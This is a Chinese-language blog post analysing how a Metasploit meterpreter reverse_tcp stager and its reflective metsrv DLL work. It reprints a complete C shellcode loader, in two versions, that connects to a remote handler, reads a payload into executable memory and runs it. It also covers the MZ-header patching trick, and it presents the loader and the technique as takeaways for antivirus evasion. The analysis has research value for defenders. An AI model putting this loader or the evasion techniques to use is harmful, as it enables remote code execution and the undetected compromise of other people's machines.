metasploit payload運行原理淺析
背景
最近在做一些msf相關的事情,今天聽到免殺相關的,去查詢了下相關資料。
第一個不能錯過的就是cobalt strike作者早年寫的metasploit-loader項目了,我看了項目源碼,找了一些相關資料
在 Meterpreter載荷執行原理分析 文章發現了一些細節性的東西,也感謝該文作者的拋磚引玉,不過文中有一些錯誤以及未說明白的地方,我會一一道來。
注意:本文只是對我自己的分析結果進行一次復盤,如果有什麼錯誤之處歡迎大家斧正
metasploit loader
metasploit的shellcode到底做了什麼
首先我們需要探討的第一個問題是metasploit的shellcode到底做了什麼?
在msf的官方wiki中,官方有對這個問題做一些簡單的解釋
從上面的文章我們大致能知道其實我們使用msf生成的shellcode只是一個載入器(Stagers),然後載入器通過我們生成shellcode時指定的ip和埠回連過來取到真正執行的惡意載荷(Stages)
載入器(Stagers)回連的具體流程
那麼提出第二個問題,這個載入器(Stagers)回連的具體程式碼流程是怎樣的?
我們通過文檔只能知道Stagers通過網路載入Stages,那麼Stages是什麼?shellcode?可執行文件?反射dll?這些我們還都不清楚。
然後通過網上一些零星的資料,找到了msf郵件組曾經的兩封郵件(源地址已無法訪問,所幸WebArchive有留存)
裡面提到流程以及關鍵點
流程
No tutorials that I know of, but here are the basic steps:
- connect to the handler
- read a 4-byte length
- allocate a length-byte buffer
- mark it as writable and executable (on Windows you’ll need
VirtualProtect for this)- read length bytes into that buffer
- jump to the buffer. easiest way to do this in C is cast it to a
function pointer and call it.
關鍵點
Assuming this is for X86 arch, you have to make sure that the EDI
register contains your socket descriptor (the value of the ConnectSocket
variable). You can do this via inline asm, but it might be easier to
just prepend the 5 bytes for setting it to your shellcode:BF 78 56 34 12 mov edi, 0x12345678
For 64 bit, you have to use the RDI register (and need 10 bytes):
48 BF 78 56 34 12 00 00 00 00 mov rdi, 0x12345678
Hope this helps,
Michael
PS: This is the reason why the calling convention within Metasploit is
called “sockedi” 😃
也就是說主要的流程大致上就是
- tcp連接
- 讀取socket前四個byte,這個為後面的載荷的長度
- 分配可讀可寫可執行的記憶體,把載荷塞進去
- 注意這段載荷的前面需要手動加
mov edi, &socket
- 然後跳轉到這塊記憶體進行執行
實現起來並不困難,但是有些奇怪的點,比如為什麼需要手動把edi的值設置為socket的地址?這個我們先放一放,看看一些loader的源碼
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
void (*function)();
winsock_init();
if (argc != 3) {
printf("%s [host] [port]\n", argv[0]);
exit(1);
}
/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");
/* allocate a RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n");
/* prepend a little assembly to move our SOCKET value to the EDI register
thanks mihi for pointing this out
BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;
/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);
/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);
/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();
return 0;
}
其他的函數我並沒有列出來,裡面的實現應該也很明白,就是我之前說的流程
然後是先知社區的,其實也就是把上一份程式碼注釋翻譯了一下
//主函數
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
//創建函數指針,方便XXOO
void (*function)();
winsock_init(); //套接字初始化
//獲取參數,這裡隨便寫,接不接收無所謂,主要是傳遞遠程主機IP和埠
//這個可以事先定義好
if (argc != 3) {
printf("%s [host] [port] ^__^ \n", argv[0]);
exit(1);
}
/*連接到處理程式,也就是遠程主機 */
SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
/* 讀取4位元組長度
*這裡是meterpreter第一次發送過來的
*4位元組緩衝區大小2E840D00,大小可能會有所不同,當然也可以自己丟棄,自己定義一個大小
*/
//是否報錯
//如果第一次不是接收的4位元組那麼就退出程式
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read length value Error\n");
/* 分配一個緩衝區 RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not alloc buffer\n");
/*
*SOCKET賦值到EDI暫存器,裝載到buffer[]中
*/
//mov edi
buffer[0] = 0xBF;
/* 把我們的socket里的值複製到緩衝區中去*/
memcpy(buffer + 1, &my_socket, 4);
/* 讀取位元組到緩衝區
*這裡就循環接收DLL數據,直到接收完畢
*/
count = recv_all(my_socket, buffer + 5, size);
/* 將緩衝區作為函數並調用它。
* 這裡可以看作是shellcode的裝載,
* 因為這本身是一個DLL裝載器,完成使命,控制權交給DLL,
* 但本身不退出,除非遷移進程,靠DLL里函數,DLL在DLLMain里是循環接收指令的,直到遇到退出指令,
* (void (*)())buffer的這種用法經常出現在shellcode中
*/
function = (void (*)())buffer;
function();
return 0;
}
兩份程式碼都沒解決我們的疑問
我們直接翻翻msf源碼
lib/msf/core/payload/windows/reverse_tcp.rb
程式碼比較長我就不貼了,簡要說一下, asm_block_recv
函數是接收載荷的函數,然後我們看看 asm_reverse_tcp
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
call WSASocketA 之後返回的是socket句柄,返回值一般是在eax裡面,然後把eax賦值到了edi
繼續找找edi,但是發現剩下的edi都是用作調用,好像沒有什麼明顯的作用,那為什麼有這個?
這個載荷Stages具體是怎麼生成的?
這裡就要引入我剛才說的先知上的那篇文章的問題了,在 Meterpreter載荷執行原理分析 文章中,作者提到
metasploit的meterpreter的payload調用了meterpreter_loader.rb文件,在meterpreter_loader.rb文件中又引入了reflective_dll_loader.rb文件,reflective_dll_loader.rb主要是獲取ReflectiveLoader()的偏移地址,用於重定位使用,沒有什麼可分析的。我們來到這個文件里reflectivedllinject.rb,這個文件主要是修復反射dll的,meterpreter_loader.rb文件主要是用於自身模組使用,修復dll和讀取payload的長度的。
其實 windows/meterpreter/reverse_tcp
是走的 meterpreter_loader
,而不是文中的 reflectivedllinject
,我通過調試發現這個請求載荷的過程是流經 meterpreter_loader
文件的
不過這兩個文件的功效都是差不多的,我們打開分析一下
映入眼帘的應該是這段
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
dll
end
這段程式碼裡面首先取到了metsrv的dll的文件,然後傳入 asm_invoke_metsrv
函數做處理,生成彙編位元組碼,然後替換這個dll的頭部
我們看看 load_rdi_dll
函數,這個函數取到了一個偏移量然後傳入 asm_invoke_metsrv
函數做處理了
def load_rdi_dll(dll_path)
dll = ''
::File.open(dll_path, 'rb') { |f| dll = f.read }
offset = parse_pe(dll)
unless offset
raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
end
return dll, offset
end
def parse_pe(dll)
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
offset = nil
pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end
offset
end
甚至我們不用深究這些函數的具體流程,看名稱就知道,這個是從dll導出表找到了ReflectiveLoader導出函數的地址
然後進入 asm_invoke_metsrv
看看
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
end
不得不說這段十分巧妙,我們想想剛才的流程是什麼,排開那個 mov edi, &socket
不論,剩下的就是從傳回來的載荷的首地址開始跑了,那假如是一個dll文件,你把一個平常的dll文件,VirtualAlloc後直接跳到地址跑,能跑起來嗎?顯然是不能的,我們看看msf中的處理
我們上面的程式碼分析過,這個彙編最後是替換了dll的頭部,pe文件的頭部就是dos頭,dos頭必須是MZ開頭,不然這個根本算不上一個pe文件
那 dec ebp
和 pop edx
算怎麼回事?
其實這兩條彙編的機器碼就是
\x4D # dec ebp
\x5A # pop edx
恰好構成了MZ頭,然後繼續往下跑,調用了ReflectiveLoader(),這個是反射dll技術,具體程式碼技術細節可以見 //github.com/stephenfewer/ReflectiveDLLInjection
調用該dll導出函數 ReflectiveLoader
的主要功能就是載入dll自身到記憶體中,然後返回dllmain的函數地址,返回值是在eax裡面
然後調用 mov [ebx], edi ; write the current socket/handle to the config
把edi也就是上文提到的socket句柄地址存入ebx執行的記憶體,上面可以看到
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
這段彙編把ebx指向到了該dll載入空間的末尾
緊接著執行
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
調用儲存在eax中的dllmain的函數
其中的ebx到底是什麼?
我們把目光再往外層拉
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
null_session_guid: opts[:null_session_guid] == true,
exitfunk: ds[:exit_func] || ds['EXITFUNC'],
expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
stageless: opts[:stageless] == true
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
可以看到 stage_payload
中把生成好的dll位元組碼和一串config拼接了起來,config裡面的參數要分析的話又是一大塊了,本文不著眼於此
跟進 config.to_b
看看
def to_b
config_block
end
def config_block
# start with the session information
config = session_block(@opts)
# then load up the transport configurations
(@opts[:transports] || []).each do |t|
config << transport_block(t)
end
# terminate the transports with NULL (wchar)
config << "\x00\x00"
# configure the extensions - this will have to change when posix comes
# into play.
file_extension = 'x86.dll'
file_extension = 'x64.dll' unless is_x86?
(@opts[:extensions] || []).each do |e|
config << extension_block(e, file_extension)
end
# terminate the extensions with a 0 size
config << [0].pack('V')
# wire in the extension init data
(@opts[:ext_init] || '').split(':').each do |cfg|
name, value = cfg.split(',')
config << extension_init_block(name, value)
end
# terminate the ext init config with a final null byte
config << "\x00"
# and we're done
config
end
然後我們跟進 session_block
和 transport_block
看看就能明白這就是一串配置轉化為位元組碼,具體的轉化規則我們不論
可以看到 函數裡面有
session_data = [
0, # comms socket, patched in by the stager
exit_func, # exit function identifer
opts[:expiration], # Session expiry
uuid, # the UUID
session_guid # the Session GUID
]
session_data.pack('QVVA*A*')
最開始的是0,pack的格式是Q,8位,這8位是幹嘛的?
現在回過頭想想,當之前生成好的dll載荷,我們從首地址開始跑,我們剛才那個edi(socket地址)填充到哪了,是不是那個dll空間的末尾再往後填,這個空間不恰好就是這8位0嗎?
所謂的sockedi到底是啥?
跟蹤edi
根據我們前面的分析,我們把載入器掛調試器跑起來看看
首先分配完RWX記憶體空間後,我們看到了首地址 0x6A0000
,然後我們在記憶體窗口中轉到該地址,那我們重點關注的是dll所在區域的末尾,我們直接把記憶體地址轉到 0x6CAC06
(別問我怎麼知道的,方法很多,比如多次調試)
我們首先把記憶體地址轉到這個地方然後往下跑把數據接過來看看
現在前八位還是空的,但是後面已經有一些數據了,包括一些能看到文字的配置(比如tcp://0.0.0.0:4444)然後繼續下跑,進到我們分配出來的函數去看看
首當其衝的就是我們的 mov edi, &socket
,繼續往下
可以看到,和我們預期的一樣,複製到了這八位的空間裡面,這裡可以配合msf源碼以及我的注釋查看
分析用作載荷的反射dll
還記得我們前面分析的源碼中的metsrv dll文件嗎?
我們可以在 metasploit-payloads 中找到這個項目的源碼
我們直接看看metsrc dllmain函數
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = Init((MetsrvConfig*)lpReserved);
break;
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
剛才調用dllmain我們是使用了 calleax ;call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
我們這個 config_ptr
傳遞的是什麼?是 push ebx ; push the pointer to the configuration start
,也就是那個首8位塞了我們socket句柄地址的數據的起始地址,然後走 DLL_METASPLOIT_ATTACH
分支,把這個地址中的數據強轉為了 MetsrvConfig
結構體
我們看看 MetsrvConfig
結構體
typedef struct _MetsrvConfig
{
MetsrvSession session;
MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports
// Extensions will appear after this
// After extensions, we get a list of extension initialisers
// <name of extension>\x00<datasize><data>
// <name of extension>\x00<datasize><data>
// \x00
} MetsrvConfig;
typedef struct _MetsrvSession
{
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
DWORD exit_func; ///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
} MetsrvSession;
typedef struct _MetsrvTransportCommon
{
CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI
int comms_timeout; ///! Number of sessions to wait for a new packet.
int retry_total; ///! Total seconds to retry comms for.
int retry_wait; ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;
這些資訊很明顯能看到是一些資訊,比如uuid,重試次數之類的,這些在payload的生成選項裡面都能找到
那麼我們現在差不多明白了,這一塊的東西是強轉成了這個結構體,包括edi中所存放的socket句柄地址
好吧,別忘了我們的使命,搞清楚這個edi的作用
劃入這個結構體也就是
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
也就是我們找找 comms_handle
用在了哪
所以進到 Init((MetsrvConfig*)lpReserved)
裡面看看
DWORD Init(MetsrvConfig* metConfig)
{
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
// a pointer to the metserv configuration, so do a nasty cast and move on.
dprintf("[METSRV] Getting ready to init with config %p", metConfig);
DWORD result = server_setup(metConfig);
dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func);
// We also handle exit func directly in metsrv now because the value is added to the
// configuration block and we manage to save bytes in the stager/header as well.
switch (metConfig->session.exit_func)
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter(NULL);
break;
case EXITFUNC_THREAD:
ExitThread(0);
break;
case EXITFUNC_PROCESS:
ExitProcess(0);
break;
default:
break;
}
return result;
}
裡面調用了 server_setup
然後吐出了結果,最後返回,跟到外層也就是dllmain的返回值,dllmain返回值作用我不贅述了,然後根據你的生成選項中的 EXITFUNC
來進行退出,退出進程、執行緒或者SEH異常,這裡我們不管,我們看看 server_setup
函數
server_setup函數很長,我就不貼整個函數了
使用了 comms_handle
的我貼一下
...
dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
...
dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
if (remote->transport->set_handle)
{
remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
}
根據這些程式碼我們能夠知道是把 Transport handle 設置為了我們之前創建的socket
繼續往後找我們能找到
然後跟進 transport_set_handle_tcp
可以看到
/*!
* @brief Get the socket from the transport (if it's TCP).
* @param transport Pointer to the TCP transport containing the socket.
* @return The current transport socket FD, if any, or zero.
*/
static UINT_PTR transport_get_handle_tcp(Transport* transport)
{
if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
{
return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd;
}
return 0;
}
/*!
* @brief Set the socket from the transport (if it's TCP).
* @param transport Pointer to the TCP transport containing the socket.
* @param handle The current transport socket FD, if any.
*/
static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle)
{
if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
{
((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle;
}
}
也只是轉為了socket句柄,然後給外部再繼續通過這個socket去取一些伺服器上的東西(後面的我沒再跟下去了,我猜測也只有這種可能)
總結
這次的分析耗時一天,從上午看到討論免殺,載入器,然後開始分析,說實話,還是收穫了不少,比如那個反射dll的改dos頭就讓我不得不佩服,卧槽,這操作騷。本次只是拿 windows/meterpreter/reverse_tcp
開刀,我相信其他的也一樣,不然何以被官方稱 sockedi
調用約定,說明這已經是msf裡面載入的約定成俗的東西了。
那麼從這次的分析中我們能獲得哪些啟示?當然是免殺對抗的啟示,antiAV方可以通過研究使用自己的payload格式,AV方可以通過這個流程來對msf的payload的查殺更上一步,或者根據裡面的改DOS頭技術打造自己的模組化RAT
下一步可以做的
- 研究payload uuid的回傳
- 研究rc4,aes之類的所謂加密shellcode,加密是在哪裡
- …
現在就可以得到的
- 當然是一個香噴噴的shellcode載入器,具體實現就是八仙過海各顯神通了。
- 改DOS頭直接執行的技術